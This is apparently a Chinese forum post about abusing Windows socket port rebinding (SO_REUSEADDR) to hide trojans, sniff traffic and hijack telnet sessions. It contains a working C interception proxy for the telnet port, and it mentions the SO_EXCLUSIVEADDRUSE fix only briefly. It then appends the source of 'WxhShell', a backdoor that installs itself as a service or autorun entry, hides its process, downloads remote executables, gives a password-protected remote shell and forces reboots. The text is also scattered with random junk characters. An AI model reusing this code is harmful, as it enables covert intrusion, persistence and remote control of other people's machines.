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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: AS4mJ UU9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |2ImitN0  
ES,T[  
  saddr.sin_family = AF_INET; *!oV?N[eA'  
~(*2 :9*0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &?g!)O  
Sf*1Z~P|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ba-4V8w  
bT>MZK8b  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (vP<}  
6}l[%8  
  这意味着什么?意味着可以进行如下的攻击: |P0!dt7sQ  
C&|K7Zp0v  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *'w?j)}A9g  
\uPyvA =  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =E.!Ff4~(  
uwl_TDc>%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y>^FKN/  
fHK.q({Qc  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  36e  
_mWVZ1P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  T<oDLJA\  
R_W6}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =U7P\s w2  
1-V"uLy@gC  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -w"$[XP  
S86,m =  
  #include sZx`u+  
  #include Um^4[rl:#g  
  #include 5G2G<[p5oQ  
  #include    N TcojA{V$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   gLm,;'h%u  
  int main() =(+]ee!Ti  
  { *8r^!(Kj  
  WORD wVersionRequested; WEYZ(a|  
  DWORD ret; 3n,jrX75u  
  WSADATA wsaData; qv^P  
  BOOL val; P!Brw72  
  SOCKADDR_IN saddr; J#W*,%8O  
  SOCKADDR_IN scaddr; EHy15RL  
  int err; kXV;J$1  
  SOCKET s; X1HEeJ|  
  SOCKET sc; IaZmN.k*  
  int caddsize; Q6)?#7<jy  
  HANDLE mt; 4a0Ud !Qcs  
  DWORD tid;   qt(4?_J  
  wVersionRequested = MAKEWORD( 2, 2 ); Mz.C`Z>o  
  err = WSAStartup( wVersionRequested, &wsaData ); <6Y|vEo!N  
  if ( err != 0 ) { /qKA1-R}4  
  printf("error!WSAStartup failed!\n"); CBO*2?]s  
  return -1; 4E2#krE%  
  } 7t+d+sQ-l  
  saddr.sin_family = AF_INET; n }b{u@$  
   +`bnQn]x+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #W6 6`{>  
wz1nV}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @0]w!q  
  saddr.sin_port = htons(23); A_l\ij$Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h/oun2C  
  { Nyt*mbd5 {  
  printf("error!socket failed!\n"); Qo :vAv  
  return -1; {+zG.1o^  
  } ep~+]7\  
  val = TRUE; oP`:NCj\9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 DXG`%<ZMn  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @  R[K8  
  { Z^]jy>dj  
  printf("error!setsockopt failed!\n"); FShUw+y  
  return -1; BYu(a  
  } !ui t  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7m  ou  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *xJ]e.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D_?Tj  
hP8w3gl_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !zt>& t  
  { ]h~F%   
  ret=GetLastError(); cpl Ny?UIC  
  printf("error!bind failed!\n"); H#7=s{u  
  return -1; Gk+R, :  
  } wm^1Fn--  
  listen(s,2); L*dGo,oN  
  while(1) SHs [te[  
  { \#JXch  
  caddsize = sizeof(scaddr); z:Tj0< A'  
  //接受连接请求 jI'?7@32`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .71ZeLv*  
  if(sc!=INVALID_SOCKET) |JR`" nF`  
  { hxj\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); oQrfrA&=M  
  if(mt==NULL) M*bsA/Z  
  { f[D%(  
  printf("Thread Creat Failed!\n"); +,,dsL  
  break; 34X]b[^  
  } y\j[\UZKO  
  } [TQYu:e  
  CloseHandle(mt); IP$eJL[&D"  
  } lwfM>%%N  
  closesocket(s); 8\9W:D@"x  
  WSACleanup(); wh8;:<|  
  return 0; lAA&#-#YG  
  }   9mp`LT  
  DWORD WINAPI ClientThread(LPVOID lpParam) p#Po?  
  { -fV\JJ  
  SOCKET ss = (SOCKET)lpParam; wEl7mg !  
  SOCKET sc; *1!'ZfT;  
  unsigned char buf[4096]; ern\QAhXX  
  SOCKADDR_IN saddr; +|b#|>6  
  long num; JL!^R_b&c  
  DWORD val; g]JRAM  
  DWORD ret; rXz q :  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <$hv{a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    6W  
  saddr.sin_family = AF_INET; aCH;l~+U  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5D=U.UdR  
  saddr.sin_port = htons(23); 6T+ym9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7Y-Q, ?1  
  { 6HJsIeQ  
  printf("error!socket failed!\n"); Ct?xTFb  
  return -1; |A,.mOT  
  } 3N!v"2!#  
  val = 100; 0}`.Z03fy  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (w2lVL&   
  { 3?<A]"X.  
  ret = GetLastError(); A@?-"=h}  
  return -1; !5h-$;  
  } Ac{TqiIv  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }eA ) m  
  { v!DK.PZbi  
  ret = GetLastError(); #@w/S:KbJt  
  return -1; (VmFYNt&  
  } _a9oHg  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) yMM2us#*+q  
  { ]8OmYU%6V  
  printf("error!socket connect failed!\n"); "x.iD,>k  
  closesocket(sc); ltU{P|7!E  
  closesocket(ss); 6C<GYzzo  
  return -1; y xT}hMa  
  } a%a0/!U[  
  while(1) [>_zV.X  
  { 7LM&3mA<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [-"ZuUG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w(Tr ,BFF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A /c  
  num = recv(ss,buf,4096,0); g,o46`6"  
  if(num>0) htrtiJ1  
  send(sc,buf,num,0); T*Ge67  
  else if(num==0) ^x/D8 M  
  break; 5]CaWFSmT  
  num = recv(sc,buf,4096,0); !B#lZjW#  
  if(num>0) @c"s6h&  
  send(ss,buf,num,0); C|g1:#0  
  else if(num==0) \+/ciPzA-  
  break; xzfugW  
  } (nBh6u*  
  closesocket(ss); #PPHxh*S  
  closesocket(sc); ZQir?1=  
  return 0 ; yP} |8x  
  } ^.g-}r8,  
#u+qV!4  
I`jG  
========================================================== =+?OsH v  
@}wa Z?'  
下边附上一个代码,,WXhSHELL Hi$N"16A5z  
wL]#]DiE  
========================================================== 2?:OsA}  
"+`u ]  
#include "stdafx.h" lfd-!(tXD  
c=?6`m,"M  
#include <stdio.h> t;PG  
#include <string.h> Tj!\SbnA[  
#include <windows.h> O8v9tGZoh  
#include <winsock2.h> .!lLj1?p  
#include <winsvc.h> UA]T7r@  
#include <urlmon.h> T*C F5S  
m J$[X  
#pragma comment (lib, "Ws2_32.lib") #)48dW!n  
#pragma comment (lib, "urlmon.lib") agruS'c g  
eLgq )  
#define MAX_USER   100 // 最大客户端连接数 31#jLWY'0  
#define BUF_SOCK   200 // sock buffer 1g t 7My  
#define KEY_BUFF   255 // 输入 buffer -k2|`t _  
|)0Ta 9~  
#define REBOOT     0   // 重启 Rg46V-"d,@  
#define SHUTDOWN   1   // 关机 XN?my@_HpM  
:9x]5;ma  
#define DEF_PORT   5000 // 监听端口 7Lj:m.0O^  
SdMLO6-  
#define REG_LEN     16   // 注册表键长度 ?8< =.,r  
#define SVC_LEN     80   // NT服务名长度 8I#^qr5  
)"{}L.gC6  
// 从dll定义API \h0+` ;Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >zw@!1{1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;p <BiC$b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !Z{7X ^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dNqj|Vu  
U#PgkP[4  
// wxhshell配置信息 K&gE4;>  
struct WSCFG { n+<  
  int ws_port;         // 监听端口 Nr)DU.f  
  char ws_passstr[REG_LEN]; // 口令 -*ZQ=nomN  
  int ws_autoins;       // 安装标记, 1=yes 0=no ER[$TH&  
  char ws_regname[REG_LEN]; // 注册表键名 60e{]}Z  
  char ws_svcname[REG_LEN]; // 服务名 P%vouC0W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~d,$ nZ"z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $/(``8li_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Rp:I&f$Hk/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q[H4l({E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Uqj$itqUQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pa?AKj]  
K)Z~ iBRM  
}; Z?9G2<i  
a%6=sqxE  
// default Wxhshell configuration jJ2{g> P0P  
struct WSCFG wscfg={DEF_PORT, \S?-[v*{  
    "xuhuanlingzhe", ~-%z:Re'_  
    1, ~]<VEji  
    "Wxhshell", %X%f0J  
    "Wxhshell", @ IDY7x27  
            "WxhShell Service", Z R~2Y?Wt9  
    "Wrsky Windows CmdShell Service", +R{~%ZTK  
    "Please Input Your Password: ", /%t`0pi  
  1, L/GV Qjb  
  "http://www.wrsky.com/wxhshell.exe", K9nW"0>  
  "Wxhshell.exe" zc,X5R1  
    }; YT)1_>*\  
4[%_Bnv#AJ  
// 消息定义模块 U!BZs Vx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [L|vBr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UxMei  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ajkpU.6E:  
char *msg_ws_ext="\n\rExit."; 9>&p:+D  
char *msg_ws_end="\n\rQuit."; \]S)PDqR  
char *msg_ws_boot="\n\rReboot..."; wLE|J9t%Ea  
char *msg_ws_poff="\n\rShutdown..."; UQ)^`Zj  
char *msg_ws_down="\n\rSave to "; K 4{[s z  
dV*9bDkM/  
char *msg_ws_err="\n\rErr!"; @.G;dL.f{  
char *msg_ws_ok="\n\rOK!"; ]]_c3LJ2`  
pk;S"cnk  
char ExeFile[MAX_PATH]; or7l} X  
int nUser = 0; K,P`V &m?  
HANDLE handles[MAX_USER]; PBL=P+  
int OsIsNt; rV-Xsf7Z  
F<*zL:-Z  
SERVICE_STATUS       serviceStatus; E=,fdyj.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8`I,KkWg   
tpgD{BY^wJ  
// 函数声明 )! k l:  
int Install(void); k@>(sXs  
int Uninstall(void); "0z4mQ}>N  
int DownloadFile(char *sURL, SOCKET wsh); NKVLd_f k  
int Boot(int flag); -xyY6bxL  
void HideProc(void); i"4;{C{s  
int GetOsVer(void); Fd%JF#Hk  
int Wxhshell(SOCKET wsl); D_`~$QB`,  
void TalkWithClient(void *cs); 4O{,oN~7  
int CmdShell(SOCKET sock); q+?q[:nR-  
int StartFromService(void); YWk+}y}^d  
int StartWxhshell(LPSTR lpCmdLine); mMCd   
l @E {K|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5+(Cp3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lXVh`+X/l  
tq*6]q8c>  
// 数据结构和表定义 UzV78^:,iD  
SERVICE_TABLE_ENTRY DispatchTable[] = DTdqwe6pi  
{ ArT@BqWd  
{wscfg.ws_svcname, NTServiceMain}, n6 c+Okj  
{NULL, NULL} _@_EQ!=  
}; R|*Eg,1g -  
w,<n5dMv  
// 自我安装 6r h#ATep  
int Install(void) _+Pz~_+kS  
{ {~'Iu8TvZ  
  char svExeFile[MAX_PATH]; !_iv~Q zv  
  HKEY key; Nr*o RYY  
  strcpy(svExeFile,ExeFile); hSj@<#b>F  
`j 4>  
// 如果是win9x系统,修改注册表设为自启动 *c(YlfeZ#  
if(!OsIsNt) { jZe/h#J)[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yy`XtJBWWs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tU.~7f#+A  
  RegCloseKey(key); py%:,hi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .k,,PuP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 60xL.Z   
  RegCloseKey(key); /3;]e3x  
  return 0; 3/,}&SX  
    } UhU"[^YO  
  } v&sl_w/tn  
} +u`4@~D#  
else { mPo.Z"uy7  
:8A@4vMS)?  
// 如果是NT以上系统,安装为系统服务 S>s+ nqcP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 79+i4(H  
if (schSCManager!=0) Y3H5}4QD  
{ DyUS^iz~o  
  SC_HANDLE schService = CreateService tLP Er@  
  ( FA%V>&;`  
  schSCManager, `~N jBtQ  
  wscfg.ws_svcname, ,@zw  
  wscfg.ws_svcdisp, ]\/"-Y#4Q  
  SERVICE_ALL_ACCESS, $gCN[%+j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xiqeKoAD  
  SERVICE_AUTO_START, "z-tL  
  SERVICE_ERROR_NORMAL, FyNm1QNy^  
  svExeFile, @qB>qD~WsD  
  NULL, DbYnd%k*4  
  NULL, 1'1>B  
  NULL, I |"'  
  NULL, u>*qDr* d  
  NULL 2dDhO  
  ); v]T?xo~@'  
  if (schService!=0) XI,=W  
  { @h/-P'Lc=7  
  CloseServiceHandle(schService); j rX`_Y  
  CloseServiceHandle(schSCManager); "@t bm[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g`)0 wP  
  strcat(svExeFile,wscfg.ws_svcname); Z tc\4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 28 zZ3|Z3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =>@ X+4Kb  
  RegCloseKey(key); {4)d  
  return 0; `$3ktQ$  
    } gJ>#HEkMB  
  } :`uu[^  
  CloseServiceHandle(schSCManager); C 1)+^{7ef  
} G9@5 !-  
} $"MGu^0;1  
;jBS:k?  
return 1; Tt,T6zs- <  
} B;2#Sa.  
S>jOVWB  
// 自我卸载 J7t) H_S{  
int Uninstall(void)  \+:`nz3m  
{ K>n@8<7  
  HKEY key; TV`sqKW  
>;%LW} %  
if(!OsIsNt) { !>/J]/4>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Iz>\qC}  
  RegDeleteValue(key,wscfg.ws_regname); 9Q\RCl_1  
  RegCloseKey(key); d<E2=WVB6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IYa(B+nB)  
  RegDeleteValue(key,wscfg.ws_regname); ,k(B>O~o  
  RegCloseKey(key); ~yA^6[a=  
  return 0; 1K'cT\aFm  
  } ?a'EkZ.dB  
} }vg|05L  
} :z6?  
else { [w)KNl  
D[4%CQ1m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Dw y|mxlFn  
if (schSCManager!=0) !(3[z>  
{ q Oa*JA`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]cMZ7V^  
  if (schService!=0) ==trl#kQ%%  
  { 7uO tdH+  
  if(DeleteService(schService)!=0) { ngk:q5Tp  
  CloseServiceHandle(schService); C'jCIL  
  CloseServiceHandle(schSCManager); LvU/,.$  
  return 0; N x^JC_  
  } "W_E!FP]r  
  CloseServiceHandle(schService); G;U SVF-'K  
  } \x5>H:\Y  
  CloseServiceHandle(schSCManager); p0}Yo8?OW  
} 1`l(H4  
} b{X.lz0  
K7/&~;ZwT  
return 1; jaMpi^C  
} S&;)F|-q  
\Rha7O  
// 从指定url下载文件 Lmw)Ts>  
int DownloadFile(char *sURL, SOCKET wsh) 6F%6]n  
{ _^!C4?2!  
  HRESULT hr; [$fB]7A  
char seps[]= "/"; D%=&euB  
char *token; PTTUI  
char *file; 7 Rc/<,X  
char myURL[MAX_PATH]; .'2"83f  
char myFILE[MAX_PATH]; *Tmqs@L  
V P7LKfv  
strcpy(myURL,sURL); w2^s}NO  
  token=strtok(myURL,seps);  U8% IpI;  
  while(token!=NULL) {3!A \OR  
  { (X (:h\^  
    file=token; CI+liH  
  token=strtok(NULL,seps); R1.Yx?  
  } !L_xcov!Y  
KCqz]  
GetCurrentDirectory(MAX_PATH,myFILE); Qb;]4[3  
strcat(myFILE, "\\"); 0|4R8Dh*-  
strcat(myFILE, file); ]*0t?'go'  
  send(wsh,myFILE,strlen(myFILE),0); 9N|JI3*41  
send(wsh,"...",3,0); jASK!3pY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #X6=`Xe#  
  if(hr==S_OK) v v   
return 0; z,VXH ?.Zo  
else =s S=  
return 1; `2xt%kC  
6S(`Bw8h  
} <FN +  
Q0Gfwl  
// 系统电源模块 +^$;oG  
int Boot(int flag) i_I`  
{ E>"SC\#7  
  HANDLE hToken; &d"s cM5  
  TOKEN_PRIVILEGES tkp; )F0Q2P1I  
UG6\OgkL+  
  if(OsIsNt) { 5+)_d%v=6!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); za8+=?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y2+YmP*z`  
    tkp.PrivilegeCount = 1; 6$fwpW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [c99m:*+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3V]psZS  
if(flag==REBOOT) { kioIyV\=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :[Ie0[H/M  
  return 0; HaOSFltf#  
} gOaK7A  
else { 2$gFiZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X,K`]hb*0_  
  return 0; ?W&ajH_T  
} c>C!vAg  
  } rE\&FVx  
  else { 73!])!SVI  
if(flag==REBOOT) { s1T}hp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .O PBET(gv  
  return 0; @$wfE\_L  
} vNU[K%U  
else { w/7vXz<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b/=>'2f  
  return 0; D,s[{RW+q  
} sWgzHj(c  
} cP0(Q+i7  
EFs\zWF  
return 1; C,{ Ekbg  
} 9O:-q[K**  
C7Hgzc|U  
// win9x进程隐藏模块 l +O\oD?-  
void HideProc(void) ) KYU[  
{ ' PmBNT  
4WQ 96|F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }i\_`~  
  if ( hKernel != NULL ) .O9Pn,:  
  { l{_1`rC'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  PO=A^b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g^:7mG6C  
    FreeLibrary(hKernel); 7L!q{%}  
  } !]!9 $6n  
'ExQG$t  
return; mzTM&@  
} SJ:Wr{ Or3  
it=ir9  
// 获取操作系统版本 0ac'<;9]zP  
int GetOsVer(void) 5%R$7>`Z  
{ $ 2k9gO  
  OSVERSIONINFO winfo; Oxh . &  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qTnk>g_oS&  
  GetVersionEx(&winfo); Za1VJ5-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H=_k|#/  
  return 1; kL%o9=R1  
  else g U v`G  
  return 0; G~Fjla\?Q  
} PvS\  
z%L\EP;o}  
// 客户端句柄模块 T@DT|lTI  
int Wxhshell(SOCKET wsl) {>>Gc2UT  
{ i>@"&  
  SOCKET wsh; ro@`S:  
  struct sockaddr_in client; I~7eu&QZ  
  DWORD myID; |'12Kv]#Xa  
\jByJCN  
  while(nUser<MAX_USER) [moz{Y  
{ BO-=X 78f@  
  int nSize=sizeof(client); 1;y?!;FD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7Ust7%  
  if(wsh==INVALID_SOCKET) return 1; 7_AcvsdW  
J"]P" `/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P 4jg]g  
if(handles[nUser]==0) :jljM(\  
  closesocket(wsh); 8w4cqr4m  
else P/hIJV[  
  nUser++; m=%WA5c?  
  } %NfbgJcL_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +"2IQme5  
_l!TcH+e  
  return 0; M }tr*L  
} c{s%kVOzg  
L;k9}HWpP  
// 关闭 socket Z3 $3zyi  
void CloseIt(SOCKET wsh) xk8P4`;d$  
{ xQ7-4 N,  
closesocket(wsh); 4V0j1 k&'  
nUser--; )6:nJ"j#  
ExitThread(0); `l8^n0-  
} Wo+'j $k  
;.P9t`*  
// 客户端请求句柄 }J&[Uc  
void TalkWithClient(void *cs) `FL!L59nz  
{ <UcbBcW,  
AHre#$`97  
  SOCKET wsh=(SOCKET)cs; 2,O;<9au<  
  char pwd[SVC_LEN]; X}$uvB}+>  
  char cmd[KEY_BUFF]; Ju"*>66  
char chr[1]; %}asw/WiUa  
int i,j; O0i[GCtP5  
REvY`   
  while (nUser < MAX_USER) { &\, ZtaB  
^q0Ox&X  
if(wscfg.ws_passstr) { %2)'dtPD~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k6vY/)-S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OK}+:Y  
  //ZeroMemory(pwd,KEY_BUFF); ovn)lIs  
      i=0; W\?_o@d  
  while(i<SVC_LEN) { 0oFRcU  
g&30@D"  
  // 设置超时 [9E<z2H  
  fd_set FdRead;  v NJ!d  
  struct timeval TimeOut; b4$-?f?V  
  FD_ZERO(&FdRead); /M;A)z  
  FD_SET(wsh,&FdRead); Q!<b"8V]  
  TimeOut.tv_sec=8; 4M&6q(389  
  TimeOut.tv_usec=0; M#Vl{ b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l`s_ #3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %usy`4 2  
PZQ n]lbak  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \)?[1b&[_  
  pwd=chr[0]; ?-P]m&nh|  
  if(chr[0]==0xd || chr[0]==0xa) { d&x1uso%L  
  pwd=0; *LbRLwt  
  break; b=!G3wVw<  
  } lth t'|  
  i++; iv*Ft.1t  
    } R&BbXSIDX  
2V0gj /&  
  // 如果是非法用户,关闭 socket {%K(O$H#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '{:WxGgi  
} Xx~XW ^lsh  
_-^Lr /`G!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZlHN-!OZp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); > !thxG/_  
.FS`Fh;  
while(1) { \h DH81L  
G(-1"7  
  ZeroMemory(cmd,KEY_BUFF); 0i2ZgOJ  
!Qu)JR  
      // 自动支持客户端 telnet标准   jj,Y:  
  j=0; \7QAk4I~  
  while(j<KEY_BUFF) { d`U{-?N>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jOppru5U  
  cmd[j]=chr[0]; ,[rh7 _  
  if(chr[0]==0xa || chr[0]==0xd) { `b^eRnpR  
  cmd[j]=0; iol.RszlZ|  
  break; 51Yq>'8  
  } IiG~l+V~  
  j++; $0C1';=^}  
    } 8'Eu6H&$G  
Farcd!}  
  // 下载文件 5Uc!;Gd?b  
  if(strstr(cmd,"http://")) { %Y"@VcN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v7+f@Z:N*  
  if(DownloadFile(cmd,wsh)) N'nI ^=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Re3vW re  
  else t =ErJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s7?Q[vN  
  } H]5%"(h  
  else { ^Jb=&u$  
1=x4m=wV  
    switch(cmd[0]) { a)'^'jm)4  
  $~xY6"_}!!  
  // 帮助 `}/&}Sp  
  case '?': { 9*gD;)!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c!Gnd*!?-  
    break; )J&1uMp{  
  } -,NiSh}A  
  // 安装 hX\z93an  
  case 'i': { yDBS : \  
    if(Install()) KUG\C\z6=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U$R+&@;  
    else : [o0Va2 d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lg_X|yhL  
    break; b&BSigrvou  
    } bKsl'3~ k  
  // 卸载 }Wf\\  
  case 'r': { $gm`}3C<  
    if(Uninstall()) "G\OKt'Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f)x^s$H  
    else @}:}7R6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x/Pi#Xm  
    break; u(B0X=B  
    } J,ZvaF  
  // 显示 wxhshell 所在路径 Xk[;MZ[  
  case 'p': { Ky33h 0TX  
    char svExeFile[MAX_PATH]; MsMNP[-l  
    strcpy(svExeFile,"\n\r"); Y_n^6 ;  
      strcat(svExeFile,ExeFile); W]p)}#FR  
        send(wsh,svExeFile,strlen(svExeFile),0); ]J\tosTi  
    break; kIS_ 6!  
    } YNCQPN\v`1  
  // 重启 hO3>Gl5<  
  case 'b': { Ie(vTP1Cj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $qk2!  
    if(Boot(REBOOT)) d4h1#MK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *C*n( the  
    else { GaMiu! |,  
    closesocket(wsh); @Y":DHF5q  
    ExitThread(0); F.i%o2P3  
    } aW-'Jg=@H^  
    break; {f;]  
    } CO!K[ q#  
